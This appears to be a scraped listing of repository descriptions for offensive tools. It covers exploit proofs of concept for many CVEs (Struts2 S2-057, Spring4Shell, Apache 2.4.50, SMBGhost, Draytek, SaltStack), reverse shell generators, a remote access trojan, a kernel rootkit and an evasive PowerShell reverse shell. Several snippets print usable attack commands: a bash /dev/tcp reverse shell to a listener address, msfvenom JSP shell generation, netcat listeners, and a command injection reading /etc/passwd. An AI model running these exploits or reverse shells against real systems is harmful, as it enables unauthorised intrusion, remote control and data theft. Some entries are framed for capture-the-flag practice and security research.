CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

Fast-CVE-2022-22965

Target Machine docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use %3C%25 replaces %25%7Bc2%7Di representing In the code, the...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Remote Shell Go-based exploit for CVE-2025-32433 returning a remote bash shell. Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433. Running the Exploit make exploit.exe is also made available for Windows machines by the cross-compilation...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999...

CVE-2024-21546

CVE-2024-21546 Python Exploit 🔥 Description This Python exploit script targets a vulnerable Laravel Filemanager created by UniSharp , which allows authenticated users to bypass file restrictions and upload malicious files. This can lead to Remote Code Execution RCE when the uploaded payload is...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

Codeine

Codeine .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine is a Linux LKM...

CVE-2024-25832-PoC

CVE-2024-25830 and CVE-2024-25832 - DataCube3 Improper Access Control and Unrestricted File Upload. Overview This repository features a Proof of Concept PoC for a two-step exploit chain targeting DataCube3 devices. It combines CVE-2024-25830 Improper Access Control to extract root passwords and...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC I had kicking about. Amusingly, the command injected gets executed twice, see here: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l...

cve-2015-1538-1

PLEASE DO NOT SHARE THIS WITH ANYONE. THIS CODE IS BEING PROVIDED TO YOU UNDER FrienNDA. PEOPLE VIOLATING THIS WILL NO LONGER BE CONSIDERED FRIENDS. Included is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability otherwise known as CVE-2015-1538 1. This is one of the most...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

XeytanWxCpp-RAT

WARNING THIS PROJECT IS STILL IN THE EARLY PHASES OF DEVELOPMENT. AT THIS MOMENT IN TIME, THE APPLICATION LOOKS HORRIBLE, THERE IS AN ODD BUG FIRST TODO POINT, SEE BELOW THAT HAS TO BE FIXED ASAP. Introduction RAT application written in C++ using wxWidgets framework. Features Get client's system...

shlol

SHLOL This is a menu you can trigger with a keybind to do basic stuff for you Really easy to use Create listeners on the fly No copy pasting needed Choose the type, IP and PORT and you are done! Run remote scripts easily Reverse Shell Generator...

reverse-shell-generator

reverse-shell-generator Hosted Reverse Shell generator with a ton of functionality -- great for CTFs Hosted Instance https://revshells.com Features Generate common listeners and reverse shells Save button to download Payloads from browser. Raw mode to cURL shells to your machine. Button to...

reverse_ssh

Reverse SSH Art credit to https://www.instagram.com/smart.hedgehog.art/ Want to use SSH for reverse shells? Now you can. Manage and connect to reverse shells with native SSH syntax Dynamic, local and remote forwarding Native SCP and SFTP implementations for retrieving files from your targets Full...

Shell3er

Shell3er Shell3er PowerShell Reverse Shell The Shell3er Reverse Features Get-RandomProcessName Function The Get-RandomProcessName function generates a random process name by concatenating "PS" with a new GUID. This is used to create unique and seemingly random process names, making it harder to...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 and CVE-2024-46257 is the same POC, just change the provider param. Note Sometimes the nc file can't execute on the server or can't execute command! Install require pip install requests Run Exploit python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, supports batch scanning Usage -a string Reverse listening address -b Whether to display banner default true -c string Command default "ls" -p int Reverse listening port -poc Whether to only perform POC scan, default scan only POC default true -r Whether to reverse shell...